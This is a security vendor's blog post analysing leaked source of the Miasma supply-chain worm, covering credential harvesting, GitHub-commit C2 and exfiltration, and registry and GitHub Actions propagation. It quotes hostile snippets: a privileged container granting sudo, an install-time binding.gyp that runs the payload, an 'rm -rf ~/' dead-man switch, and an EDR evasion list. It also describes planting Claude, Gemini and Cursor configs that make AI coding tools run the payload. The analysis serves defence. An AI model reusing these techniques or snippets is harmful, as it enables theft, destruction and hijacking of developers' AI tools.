Inside the Miasma Software Supply Chain Attack Toolkit
Table of Contents
The infamous Miasma worm goes open source. Multiple GitHub repositories with name Miasma-Open-Source-Release started appearing since yesterday. Most of them are likely published through compromised developer accounts. We have seen this in the past when Team PCP open sourced the Mini Shai-Hulud payload which in turn, likely motivated further software supply chain attacks.
We managed to obtain the source code from one such repository (yanked now). As the developers of PMG, we are continuously looking to update our benchmark of attacker TTPs against which we evaluate PMG, especially its sandbox features.
In this blog, we do a deep-dive analysis of the Miasma-Open-Source-Release source code obtained from one of the public GitHub repositories.
TL;DR
The Miasma codebase appears to be larger than a supply chain worm. It is a full supply chain attack toolkit that allows the operator to execute various attacks via stolen credentials against arbitrary or targeted packages on public registries (PyPI, npm, RubyGems), JFrog Artifactory, GitHub repositories and GitHub Actions, AI coding tools config poisoning, SSH based lateral movement and other attack vectors.
Some of the interesting findings from the analysis:
- Bypasses GitHub environment protection rules to trigger deployments. Details
- Generates valid Sigstore provenance bundles for trojanized npm packages. Details
- Three independent C2 channels using GitHub commit search, each with a different search string and crypto key. Details
- Dead-man switch that wipes the victim’s home directory if the stolen PAT is revoked. Details
- Victim PATs embedded in exfiltration commits create a self-perpetuating flywheel for future worm instances. Details
- Hijacks GitHub Actions semver tags via orphan commits with cloned author metadata. Details
- Injects into 13 AI coding tools (Claude, Gemini, Cursor, Copilot, Kiro, Cline, and others). Details
- Living off the pull request (LOTP) technique injects payload into existing project files across 12+ languages. Details
- Credential harvesting from AWS, Azure, GCP, Kubernetes, HashiCorp Vault, and password managers (1Password, Bitwarden). Details
- Dumps GitHub Actions runner memory via
/procto extract secrets not exposed as env vars. Details - 5-layer build obfuscation with per-build random keys, making each compiled payload unique. Details
- Targets npm, PyPI, and RubyGems via both stolen auth tokens (fast path) and OIDC trusted publishing (slow path). Details
- MCP-suffixed typosquatting mode for PyPI packages. Details
GitHub as a Common and Control Infrastructure
We have been tracking TeamPCP, Mini Shai-Hulu, Miasma and other related campaigns. One of the common observation is, attackers are moving away from custom C2 infrastructure which requires maintenance, warming and safeguarding. Instead, they are now leveraging GitHub as a full-fledged C2 infra for remote command execution, configuration, exfiltration. This is a key behavioural shift because, traditional network based detection and protection tools rely on baselining and anomaly detection. Defenders now have to operate closer to application protocol to identify behavioural anomaly instead of network based anomalies.
High Level Architecture
The repository consists of the following files:
-rw-r--r--@ 1 dev staff 45802 9 Jun 07:46 ARCHITECTURE.MD-rw-r--r--@ 1 dev staff 80029 9 Jun 07:46 bun.lock-rw-r--r--@ 1 dev staff 85 9 Jun 07:46 bunfig.toml-rw-r--r--@ 1 dev staff 740 9 Jun 07:46 eslint.config.js-rw-r--r--@ 1 dev staff 6953 9 Jun 07:46 INTEGRATION_TESTING.md-rw-r--r--@ 1 dev staff 1036 9 Jun 07:46 LICENSE-rw-r--r--@ 1 dev staff 121936 9 Jun 07:46 package-lock.json-rw-r--r--@ 1 dev staff 1100 9 Jun 07:46 package.json-rw-r--r--@ 1 dev staff 9293 9 Jun 07:46 README.mddrwxr-xr-x@ 13 dev staff 416 9 Jun 07:46 scriptsdrwxr-xr-x@ 14 dev staff 448 9 Jun 07:46 srcdrwxr-xr-x@ 12 dev staff 384 9 Jun 07:46 tests-rw-r--r--@ 1 dev staff 958 9 Jun 07:46 tsconfig.jsondrwxr-xr-x@ 6 dev staff 192 9 Jun 07:46 utility_scriptsThe file listing indicates the following:
- Bun as a dependency for the payload, consistent with droppers that we have seen in the past
ARCHITECTURE.MDandINTEGRATION_TESTING.mdfiles indicate AI coding agent generated and maintained codebase.
ARCHITECTURE.MD
The ARCHITECTURE.md calls out the intention of the worm:
A worm that aims to automate spreading across multiple developer tooling ecosystems. Written in TypeScript, executed via Bun, designed for CI/CD environments (especially GitHub Actions) and developer machines. Exfiltrates secrets and propagates through NPM packages, PyPI wheels, RubyGems, GitHub repositories and Actions, Claude settings hooks, SSH, and AWS SSM.
The same file calls out a key architecture decision that aligns with what we have identified in past campaigns and why we consider network baselining an ineffective detection strategy for such payloads:
Requires NO C2 infrastructure. No dealing with takedowns or maintaining infrasturcture. Stolen GitHub PATs are all that is necessary.
The same file also calls out the following gaps in the current implementation:
- PyPI trusted publishing based spreading is untested.
- SSH based propagation through
scpandssh(exec) is untested. - JFrog Artifactory
npmpackage infection is untested. - RubyGems trusted publishing based package infection is untested.
- GCP and Azure provider for secret exfiltration does not work.
Components
At a high level, the codebase consists of:
scripts/- Containing scripts for payload preparation, obfuscation and operations.src/- Contains the actual worm source code withsrc/index.tsas the entrypoint.
The worm (application) in turn is divided into following modules:
- Orchestrator
- Assets - Pre-crafted files used at runtime such as loaders, malicious GitHub Actions workflow, VSCode settings for code execution etc.
- Collector
- Dispatcher
- Mutator
- Provider
- Sender
- Utils
The architecture also indicates what we have seen in Shai-Hulud class of worms that consist of a fast and slow path for credential exfiltration and propagation. The fast path is used for quick exfiltration of credentials and slow path is used for propagation through various ecosystems which may take time to execute.
Following is the architecture diagram from the ARCHITECTURE.md file:
┌─────────────────────────────────────────────────────────────┐│ BUILD PIPELINE ││ pack-assets → scramble/obfuscate → bundle → js-obfuscate │└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐│ ENTRY POINT ││ src/index.ts: main() ││ Preflight → QuickResults → Senders → Providers → ││ Collector → Dispatcher → Mutations (success or fallback) │└─────────────────────────────────────────────────────────────┘
┌────────────────────┐ ┌──────────────┐ ┌──────────────────┐│ PROVIDERS │ │ COLLECTOR │ │ DISPATCHER ││ (secret harvest) ──▶│ (buffer + ──▶│ (sender chain) ││ │ │ token val) │ │ │└────────────────────┘ └──────┬───────┘ └──────────────────┘ │ detects npm/rubygems/gh tokens │ ▼ ┌──────────────────┐ │ MUTATORS │ │ (propagation + │ │ persistence) │ └──────┬───────────┘ │ ┌────────────┼────────────┐ ▼ ▼ ▼ ┌─────────┐ ┌───────┐ ┌──────────┐ │ SENDER │ │SENDER │ │ SENDER │ │ (domain)│ │(gh #1)│ │ (gh #2) │ └────┬────┘ └───┬───┘ └────┬─────┘ ▼ ▼ ▼ C2 GitHub GitHub Server Repo RepoApplication Logic
Preflight
The pre-flight stage of the worm execution performs the following checks:
- Check for known sandbox environment and fail fast.
- Checks and ensures proxy env vars are set consistently across the different variables required by
bunvialibcurl. - Bail out on Russian systems identified through locale resolution.
Interestingly, the worm has targeted mode for npm OIDC based self-propagation. During the pre-flight, it checks if WORKFLOW_ID and REPO_ID_SUFFIX env-var is set, matches (substring) GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY env-vars, then it executes the npm OIDC based propagation flow and quits without executing the full worm logic.
The pre-flight also detects malware analysis environments through known fake environment variables, docker containers, sudo restrictions on GitHub Actions, and known security tools by process name and file path. It actively restores sudo access using docker privileged containers and overwrites /etc/resolv.conf with public DNS to evade dynamic analysis tools. Example code for sudo restoration:
export function buildSudoRestoreContainerConfig(): Record<string, unknown> { return { Image: "alpine", Cmd: [ "sh", "-c", "echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner", ], HostConfig: { Privileged: true, Binds: ["/etc/sudoers.d:/mnt"], AutoRemove: true, }, };}Fast Path
If the pre-flight checks are successful, the worm executes its fast path, that executes:
- Credential gathering from known sources via
gatherQuickResults(). - Infect npm, PyPI, RubyGem packages via download, patch, publish vector if a valid token is found.
- Create a layered sender chain containing the transport logic for exfiltrated data.
- Execute the collector to validate, cache (in-memory) quick results and deliver via the sender chain.
The fast path is designed to quickly exfiltrate credentials and other sensitive information before dropping the larger propagation and persistence payloads, that may be detected by EDR and other security tools.
Credential Gathering
The worm uses Provider as an abstraction for source specific credential gathering logic. Following providers are registered:
const providers: Provider[] = [ new AwsSsmService(), new AwsSecretsManagerService(), new AwsAccountService(), new AzureKeyVaultService(), new AzureIdentityService(), new GcpSecretsService(), new GcpIdentityService(), new K8sSecretsService(), new VaultSecretsService(), new PasswordManagerProvider(),];The full provider bundle also appends services that are deemed to be available based on credentials gathered from fast path harvesting, such as GitHubActionsService, GrepProvider. Interestingly, the worm logic uses GrepProvider when classic GitHub tokens are found. The following code determines when to register the GitHubActionsService:
const meta = await getTokenMetadata(token);const hasRepo = meta.scopes.includes('repo') || meta.scopes.includes('public_repo');if (hasRepo) { providers.push(new GitHubActionsService(token)); dispatched = true;}Credential Collection
The Collector acts as an orchestrator for classifying credentials, taking action based on credential type, and triggering exfiltration. The high level behavior is as follows:
- In-memory, bounded cache for
ProviderResult(credentials), flushed based on byte count. - Classify token type by pattern matching and dispatch token-specific handlers that perform validation and propagation using the token’s privileges.
- Execute the slow path for credential collection, which includes cloud services, password managers, vaults, and more.
Example code for dispatching token handles by token pattern:
const tokenPromises: Promise<void>[] = [];if (result.matches?.["ghtoken"]) { tokenPromises.push( this.handleGhTokens(result).catch((err) => { logUtil.error("[collector] gh token check failed:", err); }), );}When collector’s in-memory buffer (cache) reaches a threshold or when the finalize method is called, it invokes the Dispatcher component to exfiltrate the collected credentials from the buffer.
Exfiltration
Exfiltration of collected credentials is handled by Dispatcher and Sender components. The dispatcher is responsible for:
- Encrypting the batch of credentials to be exfiltrated
- Exfiltrate by invoking the
Senderchain
At the time of initialization in src/index.ts, the worm creates the sender chain by invoking:
const senders = await buildSenderChain(quickResults);The buildSenderChain itself is dynamic and creates the senders based on credentials collected in the fast path. Specifically, it creates the primary GitHub sender if it can find an attacker controlled PAT by searching for commits using GitHub Commit Search API.
In src/github_utils/fetcher.ts, it attempts to find this attacker controlled PAT by searching for the string DontRevokeOrItGoesBoom. The attacker pre-plants GitHub PATs by committing them to public repos. The commit message format is:
DontRevokeOrItGoesBoom:<base64-encoded-payload>The payload for the attacker’s PAT is encrypted with a hardcoded AES key from src/utils/config.ts:
export const TOKEN_AES_KEY = scramble('bd8035203536735490e4bd5cdcede581a9d3a3f7a5df7725859844d8dcc8eb49');Once decrypted and validated with a prefix github_pat_11A, it checks that the token has repo scope and has 200+ rate limit quota remaining, before it selects it for use else continue with the next. This approach allows the attackers to continuously update the worm with new PATs, likely leveraging compromised credentials and developer machines, almost like a fly-wheel.
It then creates the primary GitHub sender using the attacker controlled PAT:
const gitHubFactory = new GitHubSenderFactory();
// Primary: GitHub direct via commit-search PATsenders.push(await gitHubFactory.tryCreate(undefined, ghsSearchToken));If no attacker controlled PAT is found, it creates the GitHub sender using victim’s own PAT found earlier in the fast path. This behaviour is again consistent with the observed worm behaviour of exfiltrating encrypted credentials batch using public repositories created under victim’s account.
When using a victim’s PAT, the sender embeds the PAT in the exfiltration commit message. The token is AES-256-CBC encrypted and disguised as a github_pat_11A... string, then included in the commit message as DontRevokeOrItGoesBoom:<encrypted-token>. This closes the flywheel loop. Future worm instances searching for "DontRevokeOrItGoesBoom" find the victim’s PAT and use it as an exfiltration token, turning every compromised developer account into infrastructure for the next infection. The same embedded token also triggers the dead-man switch installation, which wipes the victim’s home directory if the token is revoked.
DomainSenderFactory exists in the codebase and allows the worm to exfiltrate encrypted credentials to attacker-controlled C2 infrastructure. However, it is not wired into the current sender chain. This likely indicates the attackers are relying on public services only for exfiltration, avoiding detection by network monitoring tools and C2 takedowns.
All credential batches are encrypted using a generated AES key and IV. The AES key is in turn encrypted using the attacker’s RSA-4096 public key. Encryption is performed once by the first registered Sender and the resulting envelope is reused across fallback attempts. The encryption envelope format is consistent with past Shai-Hulud and Miasma campaigns.
// Encrypt once; reuse across fallback attempts.const envelope = await this.senders[0]!.createEnvelope(batch);Propagation
There are two types of propagation approach used by the worm:
- Fast path propagation by publishing a new version of accessible package with worm payload injected into it.
- Slow path propagation (mutation) by leveraging OIDC publisher trust between GitHub Actions and upstream registries like npm, PyPI, RubyGems and other mechanisms such as SSH, AWS SSM and other supported vectors.
Fast Path Propagation
The fast path propagation consists of registry infection via stolen credentials. For example, the npm registry propagation uses the following logic:
- Find writable packages via the registry API
- For each writable package, fetch metadata and get the latest dist-tag tarball URL
- Download each package, extract, and inject its own obfuscated payload
- Inject a
binding.gypfile in the package root with the following JSON
{ "targets": [ { "target_name": "nothing", "type": "none", "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] } ]}- Bump the patch version of the package
- Add
bunas a dependency since it is required to run the worm - Repack into
.tgzand publish to the registry using discovered credentials
The npm registry client has the capability to compute and attach a Sigstore provenance bundle using a short-lived credential obtained from Sigstore via GitHub OIDC (workload identity). However, this requires an OIDC token, not a stolen npm auth token. The worm executes the registry infection in the fast path regardless of whether a GitHub OIDC token is available in the environment.
Slow Path Propagation
The worm uses multiple Mutator in the slow path to replicate. This includes:
NPMOidcClient- Direct OIDC npm publishNpmOidcBranchMutator- Indirect OIDC based publishing via dangling commitsActionMutator- GitHub actions tag hijackingRepositoryMutator- Pull request feature branch poisoningClaude- AI coding tools config poisoning. See Config Files that Run Code for more details on this attack vector.SshMutator- Lateral movement using SSH credentials,scpandsshbased remote execReadmeUpdater- AI coding tools config poisoning on remote branches accessible using discovered PATs
NPM OIDC Mutator
NPMOidcClient runs in GitHub Actions, requests OIDC token from ACTIONS_ID_TOKEN_REQUEST_URL using runner’s workload identity, with audience=npm:registry.npmjs.org and performs the same fast path infection technique with additional capability of generating and attaching a Sigstore provenance bundle.
NPM OIDC Branch Mutator
NpmOidcBranchMutator is the indirect variant. It does not require execution inside GitHub Actions. Instead, it uses a stolen GitHub PAT to find repositories that publish to npm via OIDC trusted publishing and tricks them into running a trojanized workflow on the next CI trigger.
Target repo detection in src/mutator/npmoidc/detector.ts checks three conditions:
- A non-private
package.jsonwith anamefield - A workflow YAML with a publish step (
npm publish,yarn publish, orpnpm publish) id-token: writepermission on the workflow job
Monorepo layouts are supported by scanning packages/, libs/, apps/, plugins/ for additional package.json files.
The mutator has two code paths depending on token scope:
- With
workflowscope: pushes an orphan commit with the modified workflow YAML and payload to a newsnapshot-<random>branch. The push event triggers the workflow natively. - Without
workflowscope: uses a dangling commit technique. Commit 1 (child of default branch HEAD) adds the trojanized workflow. Commit 2 (child of commit 1) restores the original tree. A branch is created at commit 2, so the tip looks clean. A GitHub deployment targeting commit 1 triggers the workflow, and the deployment record is deleted afterward.
const deployment = await githubJson(this.token, `/repos/${owner}/${name}/deployments`, { method: 'POST', body: JSON.stringify({ ref: addSha, auto_merge: false, required_contexts: [], environment: detected.workflow.environmentName ?? 'production', transient_environment: true, }),});If the target workflow uses GitHub environment protection and the token has admin access, the mutator bypasses those restrictions before creating the deployment. The bypass handles three types of environment protection:
- Required reviewers. Cleared by sending an empty
reviewers: []to the environment API. - Protected branches policy. Cleared so the temporary
snapshot-*branch is allowed to deploy. - Custom branch policies. Checked for pattern match first, cleared if the branch name does not match.
The original branch policy config is saved for restoration, but the reviewer list is not. If the mutator runs against a repo with required reviewers, that protection is permanently removed.
GitHub Actions Mutator
ActionMutator hijacks custom GitHub Actions by force pushing trojanized orphan commits to their semver tags. Any downstream workflow referencing uses: owner/action@v1 pulls the compromised version.
- Enumerates all public, non-fork repos the stolen PAT has push access to
- Uses GraphQL to fetch
action.ymloraction.yamlfrom the repo root - Parses and classifies each action as composite, JavaScript (
using: node20), or Docker - For composite actions, appends
setup-bunand a payload execution step to the existing steps - For JavaScript and Docker actions, builds a new composite wrapper that delegates to the original action pinned at the real HEAD commit SHA, passes through all inputs, then appends the payload step
Tag hijacking creates a single Git tree containing the modified action.yml and index.js (self-extracting worm payload), then for each tag matching prefix v:
- Resolves the tag to a commit (handles both lightweight and annotated tags)
- Creates an orphan commit (no parents) with the payload tree, copying the original commit’s message, author, and committer metadata
- Force-pushes the tag ref to point at the orphan commit
The orphan commit has no parents, so git log on the tag shows only the single hijacked commit. The original history is disconnected. But because the commit metadata is cloned from the original, the hijack is harder to spot in casual inspection. The payload step uses if: always() to ensure execution even if the original action’s steps fail.
GitHub Repository Mutator
RepositoryMutator poisons feature branches on writable repos by pushing commits that contain the worm payload and AI tool config files. It targets branches backing open pull requests, where developers are likely to interact with the infected code soon.
- Enumerates writable repos, fetches open PRs via GraphQL, extracts head branches
- Up to 10 branches per repo in normal mode, 30 in aggressive mode
- Skips enterprise-managed orgs and repos where
TARGET_REPOSis set
Each commit adds the following files to the branch:
.github/setup.jswith the self-extracting worm payload.claude/settings.jsonwith a Claude Code SessionStart hook.gemini/settings.jsonwith a Gemini CLI SessionStart hook.cursor/rules/setup.mdcwith analwaysApply: truerule instructing the AI to run the payload.vscode/tasks.jsonwith a task triggered onfolderOpen- Optionally a modified existing source file via the “lotp” (living off the pull request) module
The mutator spoofs author by fetching the previous commit’s author info via GraphQL and reusing it on the malicious commit. It appends skip-checks:true to the commit message to suppress CI checks. If the token has admin access, it also attempts to commit directly to the default branch by temporarily removing branch protection rules.
Aggressive mode is triggered when exfiltration fails in src/index.ts. It widens the blast radius by including private repos and targeting 30 branches per repo instead of 10.
Other Mutators
Typo Mutator
TypoMutator is an operator configured mode for PyPI typosquatting. It is not part of the automatic mutation plan. It triggers in the collector’s handlePypiTokens() when TYPO_MODE=1 and TARGET_PACKAGES env vars are set, as an alternative to the normal PypiMutator flow.
- Takes a list of target package names from
TARGET_PACKAGES - For each package, downloads the original wheel from PyPI
- Injects the
.pthpayload into the wheel - Generates typosquat names and publishes under the first available name
- Checks PyPI to skip names that are already taken
- Aborts immediately on rate limiting (HTTP 429)
The typo name generation in src/mutator/typo/typoGen.ts appends MCP-related suffixes rather than using keyboard-adjacent substitution:
const MCP_SUFFIXES = ['-mcp', '-mpc'];
export function generateTypos(name: string, limit = 5): string[] { return MCP_SUFFIXES.map((s) => `${name}${s}`).slice(0, limit);}The comment in the source says “keyboard proximity” but the implementation only appends -mcp and -mpc suffixes. This likely reflects that PyPI blocks direct typosquats of popular package names but allows suffixed variants. The -mcp suffix is topical given the rise of MCP (Model Context Protocol) tooling.
AWS SSM Mutator
SsmMutator propagates to EC2 instances managed by AWS Systems Manager.
- Resolves AWS credentials from the default chain and validates via
sts:GetCallerIdentity - Calls
ssm:DescribeInstanceInformationacross 17 AWS regions in parallel, filters for online instances - Base64-encodes the self-extracting payload, chunks it into 24KB pieces (SSM command size limit)
- Delivers via
ssm:SendCommandusingAWS-RunShellScript, reassembles on target viaprintfappends, decodes, executes withnode, and cleans up - 5 instances concurrent, 120 second timeout per command
This is a lateral movement vector within AWS environments. If the worm runs on a machine with AWS credentials that have SSM access, it can spread to every managed EC2 instance across all regions.
Living Off The Pull Request (LOTP)
The RepositoryMutator uses a “lotp” module (src/mutator/repository/lotp.ts) to inject the worm payload into existing project files that developers run as part of their normal workflow. It maps the repo’s primary language to a list of candidate files, checks which ones exist, and injects a language specific command into the first match.
Supported injection targets:
package.json(JS/TS): appends to thetestscriptMakefile(most languages): adds a phony target hooked intoallor.DEFAULT_GOALtox.ini(Python): appends to[testenv] commandssetup.py/.pyfiles: prependsimport os; os.system(...)Gemfile/Rakefile/Podfile(Ruby): prependssystem(...)composer.json(PHP): adds apost-install-cmdscriptDockerfile: injects aRUNinstructionCMakeLists.txt(C/C++): injectsexecute_process()- Shell scripts: injects after the shebang line
The fallback for repos with no recognized language is Makefile and package.json. The injected command runs the worm payload as a side effect of normal developer activity (npm test, make, tox, pod install, etc.).
Persistence
InstallMonitor installs a persistent Python based C2 polling agent on the victim’s machine. It runs in the slow path mutation phase and is in the always-run set, executing on every worm invocation regardless of what tokens were found. It skips if EDR is detected or the machine has fewer than 4 CPU cores. The EDR check (hasHostileEDR() in src/utils/config.ts) scans for process names and file paths belonging to:
- CrowdStrike Falcon (
falcon-sensor,falcond,csfalcon,crowdstrike) - SentinelOne (
sentinelone,sentinelagent) - Microsoft Defender for Endpoint (
mdatp,wdavdaemon) - Carbon Black (
cbagent,cbdaemon) - Cylance (
cylance) - Trend Micro / Deep Security (
trendmicro,ds_agent) - FireEye / Trellix (
xagt) - osquery (
osquery) - Tanium (
tanium) - Qualys (
qualys)
The installer (INSTALL_MONITOR.sh) copies the monitor script to ~/.local/share/updater/update.py and registers it as a persistent service:
- On Linux: a systemd user service with
loginctl enable-lingerso it survives logouts - On macOS: a LaunchAgent plist with
RunAtLoadand hourlyStartInterval
The monitor (GITHUB_MONITOR.py) is a Python polling loop that runs every hour. It auto-installs requests and cryptography via pip if missing, then searches GitHub commits for the string "firedalazer". Matching commit messages contain a base64 encoded URL and an RSA-PSS signature. The monitor verifies the signature against an embedded RSA-4096 public key, and if valid, downloads and executes the URL content as a Python script.
- Uses a different search term (
"firedalazer") than the main worm ("DontRevokeOrItGoesBoom") - Tracks executed commands in
/var/tmp/.gh_update_stateto prevent re-execution - 300 second timeout per script, temp file cleanup after execution
This is a general-purpose remote code execution backdoor. The attacker can push arbitrary Python scripts to any compromised machine by committing a signed message to any public GitHub repo.
Command and Control
The worm uses three independent GitHub commit search channels for C2, each with a different search string and purpose:
"DontRevokeOrItGoesBoom"discovers attacker controlled PATs for exfiltration. Checked once during sender chain setup. PATs are AES-256-CBC encrypted in the commit message."TheBeautifulSandsOfTime"delivers JavaScript for immediate execution. Checked once at startup viac2Checkin()insrc/c2/checkin.ts. The commit message contains a base64-encoded payload and RSA signature, verified againstverify_key.pub. If valid, the payload is passed directly toeval()."firedalazer"delivers Python script URLs for the persistent monitor. Polled hourly byGITHUB_MONITOR.py. Uses RSA-PSS signature verification against a separate embedded public key.
All three channels are unauthenticated by default (falling back to authenticated search when a token is available) and use GitHub’s public commit search API. The attacker issues commands by committing a signed message to any public repository. Each channel uses a different verification key or decryption key, so compromising one does not compromise the others.
The c2Checkin() call in src/index.ts is fire-and-forget:
c2Checkin().catch((err) => logUtil.log(`[c2] checkin error: ${err}`));The DomainSenderFactory implements a fourth channel using the search string "thebeautifulmarchoftime" to discover backup C2 domains via signed commits. This factory exists in the codebase but is not wired into the current sender chain.
Dead-man Switch
When the GitHubSender uses a victim’s own PAT for exfiltration (tier 3 fallback), it installs a dead-man switch before embedding the token in the exfiltration commit. The handler is hardcoded in src/sender/github/githubSender.ts:
const persistence = new Monitor(this.token, scramble('rm -rf ~/; rm -rf ~/Documents'));The DEADMAN_SWITCH.sh asset installs a persistent monitoring script that:
- Stores the victim’s token in
~/.config/gh-token-monitor/token - Polls
GET https://api.github.com/userevery 60 seconds to check token validity - If the API returns any
40xstatus (token revoked), runseval "$HANDLER"which executesrm -rf ~/; rm -rf ~/Documents - Exits after a 72 hour TTL if the token is not revoked
- Registers as a systemd user service (Linux) or LaunchAgent (macOS)
The switch only activates when the victim has no enterprise-managed orgs. Enterprise tokens are considered higher-risk to embed. The "DontRevokeOrItGoesBoom" search string used in the exfiltration commit message is a literal warning to anyone who finds it.
Obfuscation and Evasion
The worm uses a 5-layer build pipeline to obfuscate the final payload.
Asset Encryption
The prebuild step (scripts/pack-assets.ts) gzip-compresses each file in src/assets/ (loaders, workflows, public keys, Claude settings), then encrypts with a random per-file AES-256-GCM key. The output is src/generated/index.ts with each asset exported as a runtime decryption call. The decryption keys themselves go through the string scramble layer described below.
Source Transformation
Three transforms are applied to every .ts file before bundling:
- Env-scramble: rewrites
process.env.GITHUB_TOKENtoprocess.env[scramble("GITHUB_TOKEN")], hiding environment variable names from static analysis. SkipsNODE_ENVandTZ. - String scramble: resolves every
scramble("literal")call at build time. Uses PBKDF2 (200,000 iterations, SHA-256) to derive a master key from a random per-build passphrase and salt, then applies 3 rounds of CBC-mode polyalphabetic substitution with per-position, per-round lookup tables. The passphrase and salt are injected intoruntimeDecoder.tsfor decoding at runtime. - Log stripping: when
isSilent = trueinlogger.ts, removes alllogUtil.*calls from source using balanced-paren counting with string-literal awareness.
Bundle
All transformed files are bundled into a single dist/bundle.js via Bun.build() with minification enabled, targeting the Bun runtime.
JavaScript Obfuscation
Post-build pass using javascript-obfuscator with string array encoding (base64, rotation, shuffle, index shifting), hexadecimal identifier names, and chained wrapper calls. Output goes to dist_obf/. An additional wrapping layer (obfplus-wrap.js) produces a further obfuscated build in dist_obfplus/.
Self-Extracting Payload
The buildSelfExtractingPayload() function in src/utils/selfExtracting.ts is used by mutators when embedding the worm into npm packages, GitHub repos, and other targets. It produces a standalone JS file with three nested layers:
- ROT-N outer shell: random rotation (1-25) applied to the entire inner wrapper, decoded by an inline
eval() - AES-128-GCM Section A: encrypted bun installation guard that downloads Bun from GitHub releases if not present, pinned to
bun-v1.3.13 - AES-128-GCM Section B: the actual worm payload, encrypted with a different random key
At runtime, the ROT-N shell decodes and evals the inner wrapper, which decrypts Section A (bun guard) and Section B (payload), writes the payload to a temp file, executes it with bun run, and cleans up. Every invocation produces completely different output due to random keys and random ROT-N rotation.
- supply-chain
- malware
- shai-hulud
- ai-coding-agents
- github
- npm
- pypi
- rubygems
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Config Files That Run Code: Supply Chain Security Blindspot
Editor and package-manager config files auto-execute commands when a developer opens a folder or installs dependencies. The Miasma worm wired one dropper into seven of them across Claude Code,...

Axios Typosquats Deliver the Epsilon Stealer
Two axios typosquats on npm, turbo-axios and faster-axios, form a campaign delivering Epsilon Stealer through a four-stage chain. The Electron infostealer grabs browser credentials, crypto wallets,...

Miasma Worm Targets AI Coding Agents via GitHub Repos
A Miasma worm variant injects a 4.3 MB dropper into GitHub repos across multiple maintainers, wiring it to auto-run through Claude Code, Gemini, Cursor, and VS Code config files. No npm package is...

Mini Shai-Hulud "Miasma: The Spreading Blight" Hits @redhat-cloud-services: Multiple Packages at Risk
The attacker compromised the @redhat-cloud-services GitHub Actions OIDC trusted publisher to ship [email protected] with a Mini Shai-Hulud worm. The same publisher controls 32 packages across the...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
